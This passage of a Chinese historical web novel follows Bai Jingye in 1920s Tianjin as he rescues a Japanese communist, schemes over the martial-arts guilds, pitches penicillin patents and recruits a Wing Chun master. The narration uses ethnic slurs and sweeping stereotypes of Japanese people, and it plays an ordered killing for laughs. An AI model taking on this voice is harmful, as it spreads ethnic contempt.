“砰砰”白敬业敲响宫府的角门。
没一会儿,肩膀上蹲个猴的管家老姜开了门。
他见几人还抬着个人,疑问道,“几位爷,这是怎么了?”
“嗨,路上**了,快,准备个房间,把刘源叫过来。”
“哎哎哎”
老姜连忙准备好房间,把受伤的男子安顿好。
片刻后,刘源和宫二一起过来了。
白敬业见到宫二一愣,“妹子,还没休息呢?”
宫二的脸上多了几分笑容,显然不像白天那么惆怅。
“修合大哥,我爹的体温降下来了,刚睡着,刘医生说已经脱离了危险。”
第67章 德田信二
白敬业听了也挺高兴,“降下来就好,明天我让百草厅来两个先生再给好好看看,开几副好药。”
“我估计养上一段,宫老的身体就能恢复如初。”
“谢谢修合大哥”
“一家人嘛,不谈谢”
这时刘源也给床上的男子做完了检查。
“先生,他没什么大碍,身上的刀伤并不严重,没伤到要害,估计是脱力再被车子吓到晕了过去。”
“给他上点药包扎一下,一会儿就能醒。”
“我那有刀伤药,我去取”
宫二说完后出了房间,时间不长,带着刀伤药返了回来。
范德依彪先生曾经说过,习武之人难免会有磕磕碰…碰。
像宫二这种家庭跌打、刀伤药都是常备的。
刘源给西装男子的上身脱了精光,前后加起来数道刀伤,让人看的挺揪心。
宫二瞄着伤口皱起了眉头。
白敬业以为她不敢看,就挡在了她面前,“妹子,太晚了你先回去睡吧?”
宫二摇摇头笑了笑,“我没事的白大哥。”
刘源给他清理好伤口,正往伤口上洒着刀伤药。
“呃…”
西装男子被触碰伤口疼醒,皱着眉哼哼了几声。
他睁眼一看周围陌生的环境,嘴里的日语脱口而出。
“我这是在哪?”
男子话音一出,所有人都愣住了,连刘源上药的手都停了下来。
“妈的!早知道给他扔下得了,怎么还救了个鬼子!”白敬业心里暗骂。
“是…你们救了我,谢谢”
男子用蹩脚的中文道了句谢。
众人的目光都看向白敬业,不知如何是好。
白敬业嘬嘬牙,表情不善的问道,“你是日本人?”
男子点点头,“嗨!”
“唉!”
白敬业叹了口气,“我们白家有祖训,对病人要一视同仁,不能见死不救。”
他说着背过身面向窗户,向黄立微微摆了摆手。
黄立心领神会的笑了笑,目露凶光冲着男子走了过去。
祖训是不能见死不救,可我们白大善人不看不就完了么!
白大善人语气和善道,“舅,弄个麻袋装里边,别弄脏了宫府,动作麻利点,让人家路上别痛苦,要不然我心不安呐!”
宫二刚才还觉得白敬业说的有道理,怎么突然间脸就变了,她上前劝道。
“白大哥,是不是再考虑…”
“呵呵”
白敬业呵呵一笑,“妹子没啥考虑的,小鬼子没几块好饼,救他们纯属是浪费时间。”
“大家都忙活忙活,赶紧收拾收拾睡觉了。”
黄立的大手一把捏住男子的脖子,就要给他扥下来。
再看这男子都快吓哭了,明白是自己岛国人的身份引起了对方的反感。
他鬼哭狼嚎着,“不要…求求你们!我跟那些岛国人不一样。”
“我是JCP,真的!我跟他们不一样!”
男子情急之下把自己的身份吐露,也不管众人能不能听懂。
黄立狞笑着,“小子,**是什么屁也没用,乖乖上路吧。”
“等等!”
其他人听不懂,白敬业能听懂。
他快步上前,让黄立松开手,“你真的是JCP?”
“咳咳咳…嗨!我叫德田信二,我真的是JCP。”
白敬业抿着嘴挠了挠头,他现在感觉脑子很乱,好像要长脑子了。
他嘴里嘟囔着,“还真特么遇上块好饼。”
只是白敬业不明白为什么JCP的人会出现在天津。
JCP哪怕在后世都不算一个很有影响力的组织。
岛国这个国家,由于地理因素导致整个民族非常的极端。
这个民族极度强调服从,也导致属于下位者两极分化,要么脆弱抑郁、要么彻底爆发。
这也是他们下克上习惯的由来。
而同样在思想大爆发的民国时代,岛国虽然集体服从军国主义,但也有很小很小的那么一批人信仰CP。
但最终没能掀起什么浪花。
到了60年代,JCP衍生出一个很有名的团体——尺军。
有很多的年轻人在那个时候来到华夏,目的就是在陕北的窑洞住上一晚,然后回到岛国身绑**,和军国主义同归于尽。
炸了不少二战时鬼子战犯的墓碑,更是隔三差五来上一场**。
在激进派眼中都觉得他们太激进了。
白敬业想了一会,冲刘源说道,“先给他治伤吧。”
德田信二躺在床上冲白敬业附身鞠躬,“谢谢您,万分感谢。”
白敬业摆了摆手走到旁边,皱着眉盯着他,不知在想些什么。
其他几人见状都凑了过来。
黄立憋的难受忍不住问道,“这个什么屁,他到底是个
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啥啊?”
“日G”
白敬业吐出两个字,众人更是一头雾水。
“我之前和父亲到南方时,听说有这么个组织,怎么鬼子也有呢?”宫二疑惑道。
“呵呵”,白敬业一笑,“这个思想起源在德、实践在法,哪个国家都有信仰的,不奇怪。”
“白大哥你懂的真多。”
白敬业此刻也没心情跟宫二逗闷子,轻声道,“大伙儿都回去睡吧,我跟他聊两句。”
众人知道他有事要谈,就都撤了出去,只剩黄立守在外间屋。
白敬业搬了把椅子坐到床边,“说说吧,你们JCP怎么会来到天津?你叫德田信二,德田求一和你是什么关系?”
德田信二眼中一亮,激动道,“您认识我的哥哥?”
白敬业心里咯噔一下,心想,“这还真是个货真价实的,JCP创始人的弟弟。”
他摇了摇头,“不认识,我只是听说过你们一点事情。”
德田信二眼中闪烁着泪光,抽泣道,“我们是三个月前来到天津的,因为我们的组织在去年遭到了解散,我的哥哥也被逮捕了。”
“我们来这儿就是为了转程去上海,寻找片山先生,让他带领我们重建JCP。”
“片山前?”白敬业问道。
“嗨!”
白敬业点点头,“接着说。”
“我们在天津等着陆续到来的战友,可是!可是!”
说到这德田信二激动的坐了起来,泪水流了满面,床晃动得嘎吱嘎吱响。
“停停停,你歇一会,你让床也歇一会。说事就说事,那么激动干什么。”
白敬业心里腹诽道,“这帮岛国人,有那么一点事就爱大呼小叫的。”
“嗨!非常抱歉!”德田又开始鞠躬致歉。
“说!”
“哦,我们来天津的消息被国内的人知道了,他们派了不少黑龙会的浪人,还有一些本地的人来追杀我们。”
“就在刚刚,我们刚接上一批战友,就遭到了他们的伏击,呜呜呜…”
“我们二十多名同志,呜呜呜…就活下了我一个,这些军国主义的**!”
白敬业内心叹了口气,心想,“这帮哥们也不容易,确实是一帮纯粹的理想主义者。”
君子生于小国非君子之过也。
“你刚才说还有一些本地的人伏击你,都是些什么样的人?”
第68章 韩家武馆
德田回忆起被伏击的过程。
脸色痛苦道,“他们人数不多,六七个左右,手里都拿着双刀。”
“什么样的刀?”
“大约这么长。”
德田用手比划起来,长度40多厘米左右。
“你等下”
白敬业从桌子上拿来笔和纸,按照他的描述画了起来。
画完后白敬业仔细看看,心想,“这玩意这么像八斩刀呢?”
“你看看是这种么?”
“是的,我们的同志就死在这样的刀下!军国主义的走狗们!呜呜呜…”
德田信二嗷嗷大哭,一惊一乍吓了白敬业一跳。
“啪”
白敬业给了他一个大脑拍,“别他妈嚎了,哭哭哭,哭的我这个心烦劲儿,你哭他们能活过来?说两句话就嚎,什么毛病!”
“对不起,真是太失礼了”德田又一次鞠躬致歉。
德田的举动给白敬业气的没着没落的。
岛国人一贯的毛病,鞠躬致歉、死不悔改!
白敬业拿着画好的图皱眉道,“行啦,你好好休息吧,有什么事明天再说。”
德田擦擦眼泪问道,“恩公,我还没问过您的姓名呢。”
“白敬业”
“搜嘎,您是报纸上北平的白修合先生么?”
白敬业点了点头。
德田这次不顾身上的伤势,跪在床上来了个土下座。
“原来救我的是白修合先生!我们前段时间还在报纸上看到您的消息。”
“您说的正义是杀不完、真理是永远存在,说的真是太好了。”
“可惜,我的同志们都见不到您了!呜呜呜…军国主义的**们!”
白敬业深吸了一口气,强行平复下心情。
他怕没等德田让鬼子杀了,自己就忍不住先弄死他。
“哼!”
白敬业冷哼一声,一甩手走到了外屋。
屋外黄立见白敬业出来,好奇道,“里面这小鬼子瞎嚎什么呢?怎么一惊一乍的?”
“您甭提了,小鬼子就这德行!”
白敬业说着把手中的纸展开,“舅,您帮我看看这是什么兵器?”
黄立打眼一看,“这就是普通的蝴蝶双刀啊,怎么了?”
“天津用的人多么?”
黄立想了想,“这刀起源于南方,但北方用的人也不少。”
他往脚下一指,“八卦掌取法于刀,他们八卦门里用这种双手器械的最多。”
“但现在的师父都不传真东西,就都拿这种**代替以前的钩、钺之类的奇门兵器。”
白敬业了然的点点头,随后笑道,“挺晚了,咱们也回去睡吧。”
这一夜,他翻来覆去的睡不着,脑中一直在想着怎么利用JCP搞点事。
能让他们自己人打自己人才是最好的。
从岛国内部给他们灌下一副**。
第二天,天还没亮。
白敬业就从睡梦中被黄立提溜起来。
干嘛?
扎马步!
这段时间他每天都固定早上半个小时的马步。
按照黄立的说法,两条腿是气的源头,只有站得住身体才能好。
白敬业发现按照黄立教给他的呼吸方法一练还真的有用。
短短几天时间,他的属性面板,力量和耐力都涨了几点。
他在练武场上刚扎了没十分钟,宫家这些弟子们也都陆续到来晨练。
“妹妹,早…”
白敬业见到宫二,连一句完整的话还没说完。
黄立在后边朝着他的屁股‘咣’就是一脚。
“马步练的就是这口气,你一说话气全泄了!”
白敬业疼的龇牙咧嘴赶紧闭嘴。
宫二见他狼狈的样子,抿着嘴笑了笑。
终于,漫长的半小时过去了。
白敬业活动活动僵硬的身体,扭头往宫二的位置一看,不由得呆住了。
宫二正练着一套掌法,练的就两个字。
漂亮!
整个人步伐飘逸,出手、抬腿干净利落,插招换式之间都带着风声。
看得白敬业两眼胶黏,都快往外拉丝了。
他抻个脖子向黄立问道,“舅,她练的就是宫家的八卦掌?”
黄立瞥了他一眼,“想什么呢?宫家密不外传的绝技能在这儿练?这就是普通的八卦掌。”
“不过这姑娘功夫确实不错,打你都不用第二招。”
“嘿嘿嘿…”
白敬业一个劲儿的在那傻笑,也不知道他听没听到。
黄立看他那样,胳膊肘捅了他一下,“我说你怎么非得要在这儿练,感情你小子是醉翁之意不在酒啊!”
等宫二这套掌法打完,再看她气不长出、面不改色。
显然与白敬业累成狗的状态截然不同。
“妹子,功夫真不戳!什么时候也教哥哥我一起练练。”
宫二脸色一红,“谈不上教,白大哥要是感兴趣,咱们可以一起探讨学习。”
白敬业的脸变得跟后世演员侯总一样,一脸的痴汉样,“好啊,功夫好啊,功夫得学啊。”
“正好,哥哥有件事不太明白,还得让妹妹你帮我看看。”
“白大哥请说”
白敬业从兜里掏出昨晚的
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画,“你帮我看看,这个兵器在天津哪里用的比较多?”
宫二看到画脸色一变。
左右看看,师兄弟们注意力都不在这边。
她压低了声音说道,“白大哥,您是想问昨晚关于岛国人身上刀伤的事吧?”
白敬业一怔,下意识的点了点头。
“您跟我来”
说完后,宫二带着白敬业来了厅堂。
等二人坐下后,宫二直接开门见山的说道。
“白大哥,其实昨晚我就注意到了,那个岛国人身上的刀伤不对劲。”
“身前的四道伤口,有三条是**擦边的,剩下的深一些的那条就是你画上的刀砍的。”
“只是我不太明白,一个岛国人身上怎么会有这两种兵刃的伤。”
白敬业听完心里感叹道,“这姑娘的心是真细。”
当下也不再隐瞒,简单说了说德田的情况。
但关于德田要去哪做什么却没告诉她。
接着白敬业说出了自己的推测,“我怀疑津门某个武馆有人在帮着小鬼子。”
“妹妹,哪个武馆擅长使这种兵刃?”
宫二紧蹙眉头,轻声道,“津门会用双刀的不少,但指着这个活儿吃饭的只有一家,韩家武馆!”
“他们和鬼子有联系?”
宫二点了点头,“韩家武馆的馆主前几年去世,目前是他的遗孀邹榕在掌管。”
“一个女人,想在武行里混饭吃,还得保住武馆的地位何其不容易。”
“我听说她和鬼子大使馆的人走的很近,还有些生意的往来。”
“有点意思!”,白敬业眯着眼睛念叨了一句,“妹妹,你给我好好讲讲关于津门武行的事。”
“好…”
津门这地方,打明朝永乐开始就是军事重地,所以一向武德充沛。
到了民国练武之风更盛,北方练武人士都以在天津开武馆为荣。
但想要开武馆,就得获得其他武馆的认可。
要么人家同意、要么打得人家同意。
只要踢馆超过半数,你就能开武馆。
直到现在,津门的武馆大大小小开了十八家。
其中韩家武馆是所有武馆中最大的。
那宫家为啥不开武馆呢?
因为宫家掌管的是中华武士会,管控整个北方所有武术群体。
而韩馆主在去世前,一直是津门武行的头把交椅。
靠着一手挟刀揉手,打遍了津门武行。
白敬业托着下巴听完,笑道,“这么说,那个佛山来的陈识,想在津门开武馆,就得打赢十家武馆?”
第69章 伊雅格
“唉”
听到白敬业谈起陈识,宫二叹了口气摇摇头,“没那么简单。”
“五年前,津门只有不到十家武馆,短短五年就增加到了十八家,白大哥您知道为什么吗?”
白敬业摇了摇头。
津门九条河,每日来往的商船无数,因为各国租界的特殊性,军阀的军队是不允许大批进入津门的。
一直以来津门的秩序混乱,没有实际的掌权者。
武馆自然也就成了武力掌控者。
所以各行各业想在津门发财都离不开武馆的庇护。
这也造成武馆的性质改变,开始招收大量学徒,教徒不再教真东西,只把他们作为抢地盘谋利的工具。
主要是怕教出的徒弟超过自己,教会徒弟饿死师父。
白敬业听完咂摸咂摸嘴,笑道,“这哪是武馆啊,整个就一帮派。”
宫二点点头,“就是帮派,我父亲不满于武馆的现状,几次想下手整顿,但都没有好的机会。”
“拿这个陈识来说,他想立起第十九家,就等于面对的十八家一起**,很难做得到。”
“他们一定会暗中下绊子,千方百计的阻挠。”
白敬业暗中撇了撇嘴,内心腹诽道,“这咋整顿?整顿就相当于断了所有人的财路。”
“大伙儿尊敬你、认你是个会长,砸人家饭碗亲爹妈也不行啊。”
突然,他的脑中闪过一道灵光。
暗笑道:“我说小张怎么这么着急,原来是想从宫老这打开缺口啊。”
“掌控了武馆,就等于是掌控了半个津门!”
他正进行着头脑风暴呢,外边,刘源‘蹬蹬蹬’跑了进来。
“宫姑娘、先生,宫老已经醒了,想找你们说说话。”
宫二面露喜色,带着白敬业和黄立来到了正房。
“爹,你感觉怎么样”
宫宝森看到女儿,嘴角挂起微笑,拍拍宫二的手,“别担心,爹没事。”
他扭头看向进来的白敬业,挣扎着要起身。
宫二扶着他靠在了床头。
“晚辈百草厅白敬业见过宫老。”
宫老点点头,轻笑道,“我听刘大夫说了,老头子这条命全靠你的药,说起来我和你父亲在几年前还有过一面之缘呢。”
“如今修合一名响彻京津,果然虎父无犬子。”
“宫老过奖了。”
他和白景琦见过,白敬业一点不奇怪,天津百草厅也是白家重要的分号,不可能不拜会当地的地头蛇。
但宫老看向黄立时,却让白敬业很吃惊。
“你是...你是黄立兄弟?”
黄立呵呵一笑,抱拳道,:“宫兄,咱们能有小二十年没见了吧?”
宫二也十分不解:“爹,您和黄师傅认识?”
“何止认识,当年我们还在一起小住过一段时间,按照辈分你得叫一声师叔。”
原来,黄立的师兄王五,和宫宝森的大师兄李存义是生死之交。
年轻时,王五带着黄立和李存义在一起探讨过武艺。
别看黄立在这些顶级高手里差了一点。
但黄爷主打一个辈分高,一般的名家都比他小一辈儿。
毕竟大刀王胡子的名声太响了。
流不尽的英雄血,杀不尽的仇人头。
宫宝森这么一说,大伙儿都挺高兴,都不是外人。
“黄老弟,你和修合怎么碰到一起了?”
“宫兄有所不知”
黄立拍了拍白敬业,“这是我亲外甥,去年年底,我找到了我亲妹妹。”
“真的!好啊,太好了...咳咳咳”
宫宝森一激动,又咳嗽起来,“王兄若是在泉下有知,也能安息了。”
黄立看他咳嗽的厉害,忙劝道,“宫兄,你先养病,等你病好咱们再好好叙叙旧。”
宫二服侍父亲又躺了下来后,众人才退出正房。
吃过早饭,大约十点左右。
张汉卿带着冯庸和一个外国人来到宫府。
白敬业看到冯庸这身打扮就是一愣。
穿着一身长袍马褂,还带着一副眼镜,显得斯斯文文的。
他打趣道,“我说五哥,您这身怎么着,打算找个学堂教书去?”
冯庸扶了扶眼镜,轻声道,“冯某最近爱好文学,多是和一些文人雅士相交。”
“你听他扯淡,这孙子隔三差五的抽风。”
张汉卿翻了个白眼,拉过那个外国人介绍道,“这也是我的好友,是个华夏通,主要负责替我在国外采购军械,美国人伊雅格。”
“您好,修合先生。“
白敬业笑着跟他握上手,“您好,伊雅格先生,您的华夏语说的真不错。”
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对这个伊雅格,白敬业也比较了解。
他算是张汉卿的经济代理人。
用东北话讲,这人,银义!
张汉卿被日记家软禁之后,伊雅格就失去了工作。
他手里有两笔很大很大的资金,一笔是张汉卿之前委托他购买**的、一笔是张汉卿私人存款。
但伊雅格没私吞,见于凤至生活拮据,就把**的这笔钱都交给了她。
于凤至在美国华尔街的启动资金,就是靠的这笔钱。
说句狠点的话,那个年月,你吞了往国外一猫,谁能拿你怎么着?
这哥们并没有那么做,还帮着于凤至前往美国,又收养了张汉卿的大女儿作为养女。
并且余生追随着张汉卿去往了湾湾,替他继续打理资产,也一直为了湾湾能释放张汉卿而游走。
白敬业对这样的人很有好感。
这个混乱的时代,能不落井下石,就已经很不错了。
更别提雪中送炭,还能在你危难时生死相随。
众人落座后。
张汉卿问起昨晚的事,“我听徐承业说你们昨晚撞了个人?什么人?”
徐承业在给白敬业送到后就离开了,所以并不知道德田的身份。
白敬业神神秘秘一笑,“日G...”
他把德田信二的身份讲述一遍。
张汉卿瞪大了眼睛,不可置信道,“日G?小鬼子他们还有这样的人?”
“啧,你这不废话么,哪都有这样的,只不过势力大和小而已。”
白敬业一指伊雅格,“不信你问伊雅格,他们美国也有,成立的比华夏还早呢!”
张汉卿扭头看向伊雅格。
伊雅格点点头,“确实,白说的对,但我们国家这个势力被打压的很严重。”
“那你打算怎么办”
“好办,等他养好了,送他去上海。”
白敬业微微一笑,“鬼子支持的,我们就要坚决反对,鬼子反对的,我们就要给予支持,给鬼子添堵的事我们要多做。”
“哈哈哈哈”
张汉卿摇晃着手指大笑道,“你小子是他妈够坏的,说得好。”
“不过送走他之前,咱们可以用他做点事。”
“什么事?”张汉卿不解道。
“当然是咱们张司令,梦寐以求武行的事儿!”
第70章 人捧人高
张汉卿心虚的轻咳两声。
“咳,这武行跟我有什么关系啊?”
白敬业笑眯眯的坐到他的身边,捏住他的脸,“你的嘴是真够硬,对武行没想法你一趟趟往这跑,催我来津门?”
“哈哈,别闹“
张汉卿拍开他的手,“那你说说,我想要武行干嘛?”
“是啊,修合,这武行跟汉卿有什么关系?”冯庸也不解的问道。
白敬业从桌上拿起一个橘子,放到面前,“掌控武行就等于掌控了半个津门,津门的情况很特殊...”
他把从宫二那得来的消息,加上自己的推断讲述一遍。
然后又拿起另一个橘子,“而奉系现在势大,只要安抚好津门内各国的大使,把政界人员换遍血,另一半的津门也就到手。”
如此一来整个京津榆全线就都在咱们张司令的手里。
而且武行一旦带头支持张司令,奉系便可以名正言顺的接管津门。
津门这里走私盛行,要是能妥善管理,这一地的税收,那可是天文数字。
“唉”
张汉卿一拍大腿,“知我者修合也!可是宫老现在病重,这事儿也没法推进。”
“呵呵”
白敬业呵呵一笑,“他不病重你也不好推进。”
“天津九条河,漕运走私你看重的这块是人家武行碗里的肥肉,其中裙带关系数不胜数。”
“你想把筷子伸进去,人家能愿意?最多是明面上支持你,宫会长对武行的影响是有但很有限。”
“咱们得换个方法,让他们内部炸起来!”
“而且速度必须要快,根据宫妹子所说,鬼子可能已经插手到了武行,就算咱们拿不下,也不能让鬼子如愿了!”
张汉卿和冯庸一听,脸色瞬间凝重,都没想到小鬼子渗透的速度这么快。
“修合你心里有主意了是么?”
“有那么一点,算了,先不谈这个,等我见个人之后,咱们再详谈武行的事。”
白敬业一摆手,“咱们还是先谈谈药品。”
两人点头称是,毕竟今天就是为了青霉素来的。
张汉卿拍拍白敬业的肩膀,“反正武行的事我就交给你了,正好你也没什么事干。”
“什么话,弄得我跟闲人似的,再说咱们张少帅给我开多少薪资?”
“啧”
张汉卿咂摸嘴道,“修合,你这么说就远了,咱们是什么?是兄弟!兄弟之间哪有谈钱的?”
几人开着玩笑,在一旁的伊雅格却按捺不住了。
“白,我听汉卿说你发明了一款很神奇的药物,你能跟我详细说说么?”
“当然!”
白敬业将简单提取青霉素的过程讲述一遍。
重点讲了青霉素的药用价值。
伊雅格听完后整个人都傻了。
“oh,买噶的!这…这款药真的如此神奇?”
白敬业自信一笑,“宫老昨天还被医生下了病危通知,可扎过一针之后,体温已经降了下来,估计再有些日子就能恢复。”
伊雅格整个人喘着粗气,惊叹道,“白!你真的是个天才!”
“汉卿,你们知道凡尔登战役牺牲的士兵有多少么!”
“有多少士兵是因为细菌感染而死亡。”
“这款药一旦面世,将会震惊整个世界,你们相当于掌握了另一种致命的武器!”
但伊雅格很快又恢复了正常,他表情严肃道,“白,我不得不提醒你,你掌握的是一座金山,但同时也会有很多的毒蛇盯上你。”
白敬业一摆手,“伊雅格,让我来猜猜你想说什么?”
“你觉得这款药一旦面世,欧洲的几个大国一定会盯上来。”
“他们会采取什么手段呢?扶持手下的军阀来抢、派人**、暗杀以及对这款药想办法逆向工程,对么?”
伊雅格挑了挑眉毛,“你说的对。”
“我了解,这是西**盗的一贯作风嘛!”
伊雅格听着一摊手,“别这么说嘛,我也是西方人。”
“哈哈哈”
白敬业一笑,“对,你是我们的友人。”
“我很谢谢你能为我考虑,其实我并没有打算个人霸占这款药,而是打算拿它出来,进行利益共赢。”
“你详细的说说”伊雅格眼前一亮。
“比如说,你们国内的大家族有人看上了这款药,而我愿意拿出技术跟他分享。
“他只需要帮我弄一些基础工业的设施和技术还有一点点资金。”
“你觉得他会选择合作,还是选择得罪咱们张司令的风险来对我下手。”
伊雅格点点头,“他当然不会对你下手,你都愿意进行分享,他怎么会冒风险。”
“
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可是这些基础的工业技术对你有什么用呢?”
白敬业苦笑一声,他看向张汉卿和冯庸,“汉卿、五哥,你们知道去年我们一共生产了多少钢铁么?”
两人摇了摇头。
白敬业伸出了两根手指,“一共才不到两万吨!其中一半还是鬼子霸占的鞍山铁矿生产的。”
“你们知道美国多少么?4000万吨!”
“伊雅格,钢铁对于你们来说如同大白菜,可在我们国家没人愿意做基础设施的建设。”
他说着站了起来,“一个国家强大靠什么?只靠文人的嘴和笔么?靠的是钢铁、石油和煤炭!”
“青霉素就是我敲响世界合作的敲门砖!”
“我要在北方建起钢厂、机床厂、兵工厂,未来我们要也要有自己的坦克、飞机、大炮和战船!”
“没有人才,我就资助学生出去学,总而言之一句话。”
“只要这些大国给我想要的,我愿意拿出这款药跟他们分享。”
“啪!”
张汉卿拍着桌子站了起来,“说的好!修合,你想做什么我都支持你!”
“不就是钱么,咱爷们儿有的是钱!”
伊雅格捏着下巴,轻声道,“不得不说,白,你的想法很好,我们把盘子弄得越大,就越没人敢把主意打在你身上。”
“甚至我可以先给你弄个美国身份,以防将来出现问题。”
“到时候不用你来出手,在这条船上的所有人,都会一起对付他。”
因利而生、因礼而亡!
白敬业拿出提前准备好的资料,“伊雅格,既然汉卿信任你,那我也信任你。”
“这是有关申请青霉素专利的资料,我们第一步先在美国和欧洲注册好所有专利。”
“等设备一到,就是让青霉素面世的时刻。”
伊雅格打开一看,上面都是用流畅的英文书写的,他夸赞了一句。
“白,你写的真好。”
白敬业一愣,因为上边有很多分子式和专业术语,不是专业的根本看不懂。
他好奇道,“你能看懂上边的信息。”
伊雅格摇摇头,“我看不懂。”
随后他冲白敬业一笑,“但我在华夏学了一句话,叫做人捧人高!”
“哈哈哈!”
催更、免费的小礼物点一点家人们,人捧人高!
第73章 津门唯一的便宜事
起士林内
白敬业端起咖啡喝了一口,轻声道,“我听你说话文绉绉的,也不像在南洋船上讨生活的人?”
“不瞒先生,我的家原在佛山也是有很有名气的。”
陈识讲述起了自己的过往,“我家里有着有大批的房产,佛山人称为陈家九十九楼。”
“因为战乱清廷倒台,家里的资产都被军阀毁了。”
“只剩下我一人跑到船上求生活,后来遇到我师父,救了我的命传授功夫。”
白敬业点头道,“你学的是哪门的功夫?”
“小拳种,咏春。”
这个时代的咏春确实名声不显。
北方外家拳多以八极、通背、查拳等为主,内家拳则以三门为首,太极、形意、八卦掌。
南方拳的代表则是蔡、李、洪、蔡李佛等等。
就拿比较出名的叶师傅来说,他的咏春差点被蔡李佛灭了门。
后来因为某些原因去了香港,至于为什么…只能说呃…。
“你既然学的是南方拳,为什么要在津门开武馆呢?我听说南方武馆也不少。”白敬业疑惑道。
陈识的表情凝重,似乎回忆起些什么,严肃道。
“我这条命是师父给的,师父一生的梦想是让咏春在北方扬名。”
“津门是北方最大的城市,在津门能开馆授徒就等于咏春在北方扬名。”
白敬业咂摸咂摸滋味,觉得这事还特么挺棘手。
难!
津门虽然是座包容性很强的城市。
可也不代表什么都能包容。
首先你是个练南方拳的,踩过来硬插旗,等于给了北方武术群体一个嘴巴子。
而且你还要开馆从别人嘴里抢肉吃。
面子、里子这些人都挂不住。
就算勉强开馆成功,未来踢馆的人都得排到法国去。
想到这白敬业看了一眼身旁的宫二。
宫二冲他露出一个甜甜的微笑。
白敬业内心腹诽着,“你笑起来真好看,可光特么笑也不顶用啊!”
“陈师傅,你想在津门立馆,靠正常途径是走不通了。”
他伸出一根手指,“只能靠另一种途径就是打!”
“打赢一半以上的武馆,才有资格立馆。”
“但你的决心有多大呢?”
陈识的表情极其严肃,言辞义正道,“只要能让我在津门立馆,做什么我都行。”
“我这辈子只有两个心愿,一是在津门扬名。”
“二是回佛山把家里以前的房子都买回来。”
“呵呵”
白敬业向四周环视一圈,呵呵一笑,“这家起士林非常有名,消费也十分不菲。”
“不过他们家的面包倒是免费,是津门唯一的便宜事儿,但至今为止没人能吃超过五个。”
陈识一听,冲着服务生一抬手。
“先生,您有什么需要?”
“免费的面包,给我来十个!”
服务生觉得是不是自己听岔了,忙问道,“先生,您再说一次需要几个?”
“十个!我要吃十个!”
“好的,您稍等。”
服务生转头下去,心想,“介老BK的,尼玛占便宜没够!”
时间不长,十个大面包摆在了桌子上。
面包的个头,白敬业看着都眼晕。
这可不是华夏版制作的那种松松软软的。
比山东白面馒头还要实诚,大小都快赶上大列巴了。
陈识看着眼前的面包,深吸了一口气。
“先生,是不是我都吃了,您就能帮我!”
“嗯。”
白敬业点了点头,笑道,“都吃了我就帮你。”
陈识一不做二不休,抓起面包大口咬着。
一个
两个
白敬业还贴心的帮他叫了杯柠檬水,笑眯眯的推到他面前。
“慢点吃,别噎着!”
等他吃到第四个的时候,宫二有些不忍心。
碰了碰白敬业,想开口说些什么,但一看他的眼神又张不开嘴。
白敬业是喜欢宫二,但不代表她可以干涉自己的决定。
爱情不是上赶子,谁也不是贱篮子!
吃完第六个的时候,陈识已经开始翻白眼了。
“哼……”
他强压着咽下嘴里的面包。
“唉”
白敬业看到他的样子叹了口气,“这人啊,有多**穿多大的裤衩。”
“最重要的是要知道自己能吃几碗干饭!”
“只要…只要,能完成…师父的遗愿,**都值!”
他刚要拿起第七个面包,白敬业伸手把面包按了下去。
“我可以帮你,帮你在津门立馆,让你的拳法在整个北方扬名。”
“代价呢?”陈识清楚,自己没吃完一定有其他代价。
“聪明”
白敬业笑了笑,“我喜欢跟聪明人打交道,十年,你替我效力十年。”
“帮你立馆成功后,这十年只要我交给你的事,你必须去做。”
“十年内,咏春在北方扬名”
“十年后,我给你二十万银元,足够你回佛山振兴你的家业。”
陈识考虑了一会儿,点头承诺道,“可以,我有个条件,不能让我做…”
他的话还没说完,就被白敬业抬手打断。
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“你现在没筹码跟我谈条件,我说的是绝对服从!”
“好!”
当一个人落魄到一定程度是没资格讲条件的。
陈识唯一能让白敬业看上的点,也就身上这点功夫。
还想跟白大善人谈条件?真当白大善人是做慈善的么!
“啪!”
白敬业一拍手,脸上带着笑容,“既然咱们合作达成,接下来换个地方,带你去消消食!”
宫家演武厅
“妹妹,接下来的活就看你的了,帮他挑个其他武馆不擅长的套路。
“踢馆嘛,以己之长、攻敌之短保险一点。”
宫二沉思片刻,从兵器架上抽出一对蝴蝶双刀。
“当年韩馆长打败天津武行,靠的就是挟刀揉手。”
“那一段时间武行人人都练,不过韩馆长成了津门头牌后,就很多年没人练了。”
“陈师傅,我记得咏春里有一门功夫叫黐手。”
陈识点点头,也从架子上拿起刀。
宫二提刀走近陈识,站在他的对面,“千拳归一路,无非一横一竖!”
“无论是黐手,还是北方的划勒巴子,原理都是相同的。”
“兵器乃拳脚之延伸,挟刀揉手正是脱胎其中。”
她嘴上说着,左手刀直奔陈识的脖颈。
陈识抬刀抵挡,右手刚要抬起。
却被宫二压住,他感觉脖子上凉丝丝的,向下一看。
宫二的右手刀已经架在他的脖子上。
二人分开,接着插招换式演练起来。
白敬业在一旁越看越心惊,心道,“怪不得汉卿和老五说她不好惹,这娘们是真厉害。”
“这以后要是给她惹**了,不得捅我几十刀,刀刀避开要害啊。”
二人一直练到快到吃晚饭,才停了下来。
对练中陈识已经基本掌握挟刀揉手的要领。
这个级别的高手,基本上一路通路路通,没什么难点。
宫二的脸上也多了些佩服,“陈师傅,你再练一段时间,在津门踢馆,除了我师兄马三,其他的应该没什么问题。”
提起马三,白敬业好奇道,“我在这住了几天怎么没见到你师兄呢?”
宫二摇摇头,“我师兄因为犯了错,不在津门,被我爹赶回东北,罚他十年后再回。”
“哦~”
白敬业点点头,有心想细问问,但一想这是人家家事还是算了。
他看着陈识轻声道,“这段时间你就留在宫府好好练,明天我要回北平,过段时间回来,就开始帮你立馆!”
宫二一愣,“白大哥,你要走了么?”
第74章 回北平
宫二冷不丁听白敬业说要走,还有那么一丁点的不舍。
经过短短几天的接触,她觉得这人和之前在北平听说的一点都不一样。
风趣幽默而且做事干脆利落,懂的还特别多,还有那么一点点小帅,除了这张嘴是太碎了。
宫二之前接触的都是什么样的人,都是练武的,说白了都有点木。
突然接触到白敬业这一卦,还真就让她有些意动。
好女也怕缠郎,更何况白敬业那张嘴都能犁地。
白敬业呵呵一笑,往前凑了凑,“是啊,初二就来这边了,得回家看看,家里还有一摊子事呢。”
他也不管旁边看热闹的陈识,往前凑的更近了一些,“是不是不舍得哥哥走啊?”
宫二的俏脸“唰”的一下就红了,好似醉酒芙蓉一般。
她啐了一口,“呸!不害臊。”
随后快步跑出了演武厅。
白敬业望着她的背影,志得意满的笑了笑。
这时他的耳边突然传来“嘿嘿嘿”的笑声。
白敬业往后一看,陈识正在那望着自己傻笑。
他翻了个白眼,“你笑什么?接着练!”
吃饭的时候,白敬业给小胡叫了过来,交代他一些事情。
